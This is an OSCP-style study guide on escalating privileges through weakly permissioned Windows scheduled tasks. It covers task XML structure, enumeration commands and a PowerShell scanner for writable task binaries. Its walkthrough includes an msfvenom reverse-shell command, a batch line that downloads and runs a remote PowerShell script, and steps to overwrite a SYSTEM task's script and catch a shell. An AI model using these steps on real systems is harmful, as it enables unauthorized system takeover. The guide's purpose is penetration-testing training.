Domain 4PrivEsc & Password AttacksCORE

Scheduled Tasks Exploitation

Guide to exploiting Windows Scheduled Tasks with weak permissions, writable action binaries, and task XML manipulation for privilege escalation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#scheduled-tasks#schtasks#at#task-scheduler#windows

Scheduled Tasks Exploitation

Overview

Windows Task Scheduler allows programs to run automatically at specified times, intervals, or events. Scheduled tasks are a frequent privilege escalation vector on OSCP machines because administrators often create tasks that run as SYSTEM or Administrator to perform maintenance, backups, or updates — and sometimes leave the task’s target binary or configuration writable by lower-privilege users.

This topic covers the internals of Task Scheduler, comprehensive enumeration techniques, multiple exploitation paths, and PowerShell automation for finding exploitable tasks.


How Windows Task Scheduler Works

Architecture

The Task Scheduler consists of several components:

Component Description
Task Scheduler Service (Schedule.exe) The Windows service that manages and executes tasks. Runs as SYSTEM.
Task Store XML-based configuration files stored in C:\Windows\System32\Tasks\
Triggers Define when a task runs (time-based, event-based, user logon, system startup, idle)
Actions Define what a task does (execute a program, send email, display message)
Principals Define who the task runs as (user account, logon type, run level)
Conditions Additional requirements (only run on AC power, only on specific network, etc.)
Settings Behavior controls (stop if running longer than X, restart on failure, etc.)

Task XML Structure

Every scheduled task is stored as an XML file. Understanding this structure is critical for exploitation:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <!-- Registration info -->
  <RegistrationInfo>
    <Date>2024-01-15T10:30:00</Date>
    <Author>DOMAIN\Administrator</Author>
    <Description>Backup database daily</Description>
  </RegistrationInfo>

  <!-- Who runs the task -->
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>              <!-- SYSTEM -->
      <LogonType>S4U</LogonType>             <!-- Service For User -->
      <RunLevel>HighestAvailable</RunLevel>  <!-- Highest available privilege -->
    </Principal>
  </Principals>

  <!-- When the task runs -->
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2024-01-15T02:00:00</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>       <!-- Every day -->
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>

  <!-- What the task does -->
  <Actions Context="Author">
    <Exec>
      <Command>C:\Scripts\backup.bat</Command>
      <Arguments>--full</Arguments>
    </Exec>
  </Actions>

  <!-- Settings -->
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
  </Settings>
</Task>

Key XML Fields for Exploitation

Field Path Exploitation Relevance
UserId Principals/Principal/UserId Shows who the task runs as. S-1-5-18 = SYSTEM
LogonType Principals/Principal/LogonType S4U = no password needed, Password = stored credentials
RunLevel Principals/Principal/RunLevel HighestAvailable = elevated, LUA = standard
Command Actions/Exec/Command The binary that gets executed. If writable = exploit
Arguments Actions/Exec/Arguments Arguments passed to the command. If writable = exploit
WorkingDirectory Actions/Exec (optional) Working directory. Affects DLL search order

Task Stores

Tasks are stored in multiple locations:

Location Description
C:\Windows\System32\Tasks\ Main task store. Contains XML files for each task.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ Registry mirror of task configurations
C:\Windows\SysWOW64\Tasks\ 32-bit task store (on 64-bit systems)

Full Enumeration

Method 1: schtasks (Command Line)

# List ALL scheduled tasks with full details
schtasks /query /fo LIST /v

# Output format:
# Folder Name:                         \
# TaskName:                            BackupDB
# Next Run Time:                       1/15/2024 2:00:00 AM
# Status:                              Ready
# Logon Mode:                          S4U
# Last Run Time:                       1/14/2024 2:00:00 AM
# Last Result:                         0
# Author:                              DOMAIN\Administrator
# Task To Run:                         C:\Scripts\backup.bat --full
# Start In:                            C:\Scripts\
# Comment:                             Daily database backup
# Scheduled Task State:                Enabled
# PID:                                 0
# Schedule ID:                         DOMAIN\Administrator
# Start Time:                          2:00:00 AM
# Start Date:                          1/15/2024
# End Date:                            12/31/2099
# Days:                                Every day
# Months:                              January,February,...
# Repeat:                              Every: 180 Min.
# Repeat Until:                        Log Off
# Repeat Until Time:                   Never
# Stop If Idles Starts:                No
# Run As:                              SYSTEM
# Delete Task If Not Rescheduled:      No
# Stop Task If Runs Badly:             No
# Badly Task Counter:                  3
# Find tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM"

# Find tasks running as specific user
schtasks /query /fo LIST /v | findstr /i "Administrator"

# Get details of a specific task
schtasks /query /tn "BackupDB" /fo LIST /v

# Get task XML
schtasks /query /tn "BackupDB" /xml

# List tasks in a specific folder
schtasks /query /tn "\Microsoft\Windows\Maintenance\BackupDB" /fo LIST /v

Method 2: PowerShell Get-ScheduledTask

# List all scheduled tasks
Get-ScheduledTask | Select-Object TaskName, TaskPath, State, Author

# Filter for Ready tasks
Get-ScheduledTask | Where-Object { $_.State -eq 'Ready' } |
    Select-Object TaskName, TaskPath, State, Author

# Get detailed information about a specific task
Get-ScheduledTask -TaskName "BackupDB" | Select-Object -ExpandProperty Actions

# Output:
# Execute                        Arguments
# -------                        ---------
# C:\Scripts\backup.bat          --full

# Get task principal (who it runs as)
Get-ScheduledTask -TaskName "BackupDB" | Select-Object -ExpandProperty Principal

# Output:
# UserId               : S-1-5-18
# RunLevel             : HighestAvailable
# LogonType            : S4U
# GroupId              : 1
# DisplayName          :
# ProcessTokenSidType  :
# RequiredPrivileges   :

# Get ALL tasks with their actions and principals
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $info = Get-ScheduledTaskInfo -TaskName $task.TaskName -TaskPath $task.TaskPath
    $principal = $task.Principal
    $actions = $task.Actions

    [PSCustomObject]@{
        TaskName   = $task.TaskName
        TaskPath   = $task.TaskPath
        State      = $task.State
        Author     = $task.Author
        UserId     = $principal.UserId
        RunLevel   = $principal.RunLevel
        LogonType  = $principal.LogonType
        Command    = $actions.Execute
        Arguments  = $actions.Arguments
        LastRun    = $info.LastTaskRunTime
        NextRun    = $info.NextRunTime
    }
} | Format-Table -AutoSize

Method 3: Reading Task XML Directly

# Task XML files are stored here:
Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse |
    Select-Object Name, FullName, LastWriteTime

# Read a specific task XML
Get-Content "C:\Windows\System32\Tasks\BackupDB"

# Search for tasks with specific keywords in XML
Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse |
    ForEach-Object {
        $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
        if ($content -match "S-1-5-18" -or $content -match "SYSTEM") {
            Write-Host "[+] SYSTEM task: $($_.Name)" -ForegroundColor Yellow
            # Extract the Command
            if ($content -match '<Command>(.*?)</Command>') {
                Write-Host "    Command: $($matches[1])" -ForegroundColor Cyan
            }
        }
    }

Method 4: Registry-Based Enumeration

# Tasks are also registered in the Registry
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree" -Recurse |
    ForEach-Object {
        Write-Host "Task: $($_.PSChildName)"
        Get-ItemProperty $_.PSPath | Select-Object *
    }

Exploitation Techniques

Technique 1: Writable Action Binary

This is the most common exploitation path. If the binary that a scheduled task executes is writable by your user, you can replace it with a payload.

Step-by-Step Walkthrough

# Step 1: Find tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM"

# Step 2: Identify the task's command
schtasks /query /tn "BackupDB" /fo LIST /v
# Task To Run: C:\Scripts\backup.bat

# Step 3: Check if the binary is writable
icacls "C:\Scripts\backup.bat"

# Realistic output:
# C:\Scripts\backup.bat NT AUTHORITY\Users:(I)(W)
#                       CREATOR OWNER:(I)(OI)(CI)F
#                       NT AUTHORITY\SYSTEM:(I)(F)
#                       BUILTIN\Administrators:(I)(F)
#
# Note: (W) = Write access for Users group — VULNERABLE!

# Step 4: Create your payload
# On Kali:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f exe -o backup.exe

# Or create a batch file reverse shell:
# echo powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/invoker.ps1')" > backup.bat

# Step 5: Upload payload
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/backup.bat', 'C:\Scripts\backup.bat')"

# Step 6: Set up listener
# On Kali:
# sudo nc -lvnp 443

# Step 7: Wait for the task to execute OR force it
schtasks /run /tn "BackupDB"

# Step 8: Catch the SYSTEM shell!

Wait vs Force Execution

Approach Command When to Use
Wait for natural execution Just wait When you can’t force execution, or the task has specific conditions
Force execution schtasks /run /tn "TaskName" When you have permission to run the task
Force via PowerShell Start-ScheduledTask -TaskName "TaskName" Same as above, PowerShell equivalent
Modify trigger Edit task XML to run immediately When you have write access to the task XML

Technique 2: Writable Task Arguments

If the binary itself is not writable, but the task passes arguments that reference writable files, you can exploit through argument manipulation.

# Example: Task runs "C:\Program Files\App\process.exe --config C:\Config\settings.ini"
# The binary is not writable, but the config file is

# Step 1: Check the arguments
schtasks /query /tn "DataProcess" /xml

# Step 2: If arguments reference a writable file, modify that file
# (e.g., if the app reads a config file that includes commands to execute)

# Step 3: Some interpreters (Python, PowerShell, batch) can be exploited
# if the script file they reference is writable

Technique 3: Task XML Manipulation

If you have write access to the task’s XML file itself (in C:\Windows\System32\Tasks\), you can modify the task definition directly.

What Can You Change in Task XML?

XML Element What It Controls Exploitation Value
<Command> The executable to run Replace with your payload
<Arguments> Arguments to the executable Inject malicious arguments
<UserId> Who the task runs as Change to your SID (if you control the account)
<LogonType> How the user is authenticated S4U doesn’t need password
<RunLevel> Privilege level HighestAvailable = elevated
<WorkingDirectory> Working directory Affects DLL search order
# Step 1: Check permissions on the task XML file
icacls "C:\Windows\System32\Tasks\BackupDB"

# Step 2: If writable, modify the XML
# Backup original
copy "C:\Windows\System32\Tasks\BackupDB" "C:\Windows\System32\Tasks\BackupDB.bak"

# Step 3: Edit the XML to change the Command
# Use PowerShell to modify:
$xml = New-Object XML
$xml.Load("C:\Windows\System32\Tasks\BackupDB")
# Navigate and modify the Command element
# (Requires understanding of the XML namespace)

# Step 4: Save and wait/force execution

Checking Task XML Permissions

# Check all task XML files for weak permissions
Get-ChildItem "C:\Windows\System32\Tasks\" -File |
    ForEach-Object {
        $acl = Get-Acl $_.FullName
        $weak = $acl.Access | Where-Object {
            ($_.IdentityReference -like "*Users*" -or
             $_.IdentityReference -like "*Everyone*") -and
            ($_.FileSystemRights -like "*Write*" -or
             $_.FileSystemRights -like "*Modify*" -or
             $_.FileSystemRights -like "*FullControl*")
        }
        if ($weak) {
            Write-Host "[+] Writable task XML: $($_.Name)" -ForegroundColor Yellow
            Write-Host "    Permissions: $($weak.FileSystemRights)" -ForegroundColor Cyan
        }
    }

Technique 4: Scheduled Task Abuse via Registry

Tasks are also stored in the Registry. If you have write access to the Registry keys, you can modify task behavior:

# Registry location for scheduled tasks
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\

# Check permissions
accesschk.exe -kvw "Users" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule" /accepteula

# If writable, you can potentially modify task configurations via Registry
# This is less common but has appeared in OSCP labs

PowerShell Scheduled Task Enumeration Script

# Comprehensive Scheduled Task Enumeration Script
# Finds all tasks running as SYSTEM with writable components

Write-Host "=== Scheduled Task Privilege Escalation Scanner ===" -ForegroundColor Green
Write-Host ""

# Define SYSTEM SIDs to look for
$systemSids = @("S-1-5-18", "SYSTEM", "NT AUTHORITY\SYSTEM", "LocalSystem")

# Get all scheduled tasks
$tasks = Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' }

foreach ($task in $tasks) {
    $principal = $task.Principal
    $userId = $principal.UserId

    # Check if task runs as SYSTEM
    $isSystem = $systemSids | Where-Object { $userId -like "*$_*" }

    if ($isSystem) {
        Write-Host "[!] SYSTEM Task: $($task.TaskName)" -ForegroundColor Yellow
        Write-Host "    Path: $($task.TaskPath)" -ForegroundColor Gray
        Write-Host "    User: $userId" -ForegroundColor Gray
        Write-Host "    RunLevel: $($principal.RunLevel)" -ForegroundColor Gray

        # Check each action
        foreach ($action in $task.Actions) {
            $command = $action.Execute

            if ($command -and (Test-Path $command -ErrorAction SilentlyContinue)) {
                $acl = Get-Acl $command -ErrorAction SilentlyContinue
                if ($acl) {
                    $writeAccess = $acl.Access | Where-Object {
                        ($_.IdentityReference -like "*Users*" -or
                         $_.IdentityReference -like "*Everyone*" -or
                         $_.IdentityReference -like "*BUILTIN*") -and
                        ($_.FileSystemRights -like "*Write*" -or
                         $_.FileSystemRights -like "*Modify*" -or
                         $_.FileSystemRights -like "*FullControl*")
                    }

                    if ($writeAccess) {
                        Write-Host "    [*** EXPLOITABLE ***]" -ForegroundColor Red
                        Write-Host "    Command: $command" -ForegroundColor Red
                        Write-Host "    Arguments: $($action.Arguments)" -ForegroundColor Red
                        Write-Host "    Writable by: $($writeAccess.IdentityReference)" -ForegroundColor Red
                        Write-Host "    Rights: $($writeAccess.FileSystemRights)" -ForegroundColor Red
                    } else {
                        Write-Host "    Command: $command (not writable)" -ForegroundColor Gray
                    }
                }
            } else {
                Write-Host "    Command: $command (path not found)" -ForegroundColor Gray
            }
        }

        # Also check the task XML file itself
        $taskXmlPath = "C:\Windows\System32\Tasks"
        $taskFileName = $task.TaskName
        # Handle nested task paths
        $taskXmlFile = Join-Path $taskXmlPath ($task.TaskPath -replace '\\', '')

        if (Test-Path $taskXmlFile -ErrorAction SilentlyContinue) {
            $xmlAcl = Get-Acl $taskXmlFile -ErrorAction SilentlyContinue
            if ($xmlAcl) {
                $xmlWrite = $xmlAcl.Access | Where-Object {
                    ($_.IdentityReference -like "*Users*" -or
                     $_.IdentityReference -like "*Everyone*") -and
                    ($_.FileSystemRights -like "*Write*" -or
                     $_.FileSystemRights -like "*Modify*")
                }
                if ($xmlWrite) {
                    Write-Host "    [*** XML EXPLOITABLE ***]" -ForegroundColor Red
                    Write-Host "    XML writable by: $($xmlWrite.IdentityReference)" -ForegroundColor Red
                }
            }
        }

        Write-Host ""
    }
}

Write-Host "=== Scan Complete ===" -ForegroundColor Green

Identifying Exploitable Tasks

Decision Matrix

flowchart TD
    A[Find Scheduled Task] --> B{Runs as SYSTEM?}
    B -->|No| Z[Low value - skip or note for lateral movement]
    B -->|Yes| C{Check action binary}
    C --> D{Binary writable?}
    D -->|Yes| E[REPLACE BINARY with payload]
    D -->|No| F{Arguments reference writable file?}
    F -->|Yes| G[MODIFY ARGUMENT TARGET]
    F -->|No| H{Task XML writable?}
    H -->|Yes| I[MODIFY XML: change Command/UserId]
    H -->|No| J{Working directory writable?}
    J -->|Yes| K[DLL HIJACK via working directory]
    J -->|No| L{Registry task config writable?}
    L -->|Yes| M[Modify via Registry]
    L -->|No| N[Not exploitable via this vector]

    E --> O[Wait or force execution]
    G --> O
    I --> O
    K --> O
    M --> O
    O --> P[Get SYSTEM shell]

“What to Look For” Checklist

ENUMERATION:
[ ] schtasks /query /fo LIST /v                    (full task listing)
[ ] Get-ScheduledTask | Where State -eq 'Ready'    (PowerShell listing)
[ ] schtasks /query /fo LIST /v | findstr SYSTEM   (SYSTEM tasks only)
[ ] Get-ChildItem C:\Windows\System32\Tasks\       (task XML files)

FOR EACH SYSTEM TASK:
[ ] What binary does it execute?                    (Command field)
[ ] Is the binary writable by current user?         (icacls)
[ ] What arguments does it pass?                    (Arguments field)
[ ] Do arguments reference writable files?          (check each path)
[ ] Is the task XML file writable?                   (icacls on XML)
[ ] Is the working directory writable?               (affects DLL search)
[ ] When does it next run?                          (plan timing)
[ ] Can I force execution?                           (schtasks /run)

EXPLOITATION:
[ ] Create payload matching the expected binary type
[ ] Replace/modify the target
[ ] Set up listener
[ ] Force execution or wait
[ ] Catch SYSTEM shell

OSCP Exam Tips

Quick Enumeration Commands

# The one-liner that finds exploitable SYSTEM tasks:
Get-ScheduledTask | Where-Object { $_.State -eq 'Ready' } | ForEach-Object {
    $p = $_.Principal.UserId
    if ($p -match 'S-1-5-18|SYSTEM') {
        $_.Actions | ForEach-Object {
            $cmd = $_.Execute
            if (Test-Path $cmd) {
                $acl = Get-Acl $cmd
                $w = $acl.Access | Where-Object {
                    $_.IdentityReference -like '*Users*' -and
                    ($_.FileSystemRights -like '*Write*' -or $_.FileSystemRights -like '*Modify*')
                }
                if ($w) {
                    Write-Host "[EXPLOITABLE] Task: $($_.TaskName) | Binary: $cmd" -ForegroundColor Red
                }
            }
        }
    }
}

Key Exam Strategies

  1. Always check scheduled tasks early — They are often the easiest privesc vector and are checked by PowerUp automatically.

  2. Look for batch files and scripts — Tasks that run .bat, .ps1, or .vbs files are more likely to have writable paths than compiled executables.

  3. Check the working directory — Even if the binary isn’t writable, a writable working directory can enable DLL hijacking when the task runs.

  4. Force execution when possible — schtasks /run /tn "TaskName" lets you test immediately instead of waiting. Not all tasks can be forced (some have conditions), but many can.

  5. Task names are hints — Names like “Backup”, “Update”, “Maintenance”, “Cleanup” often run as SYSTEM. Pay attention to these.

  6. Nested task folders — Tasks aren’t always in the root. Check \Microsoft\Windows\* and other subfolders.

  7. If the task runs a script — Check if the script file itself is writable, not just the interpreter.

Common Task Patterns in OSCP Labs

Task Pattern Typical Binary Exploitation
Database backup backup.bat or custom script Replace script with reverse shell
Log cleanup cleanup.exe or del command Replace binary or modify arguments
Software update update.exe Replace with payload
Report generation Python/PowerShell script Modify script content
File sync robocopy or xcopy Modify arguments to copy payload
Custom maintenance Unknown binary Check permissions, replace if writable

Tools to Have Ready

Tool Purpose
schtasks Native task enumeration and control
Get-ScheduledTask PowerShell task enumeration
icacls Check binary/XML permissions
accesschk.exe Check task permissions comprehensively
PowerUp Find-ScheduledTask Automated scheduled task privesc detection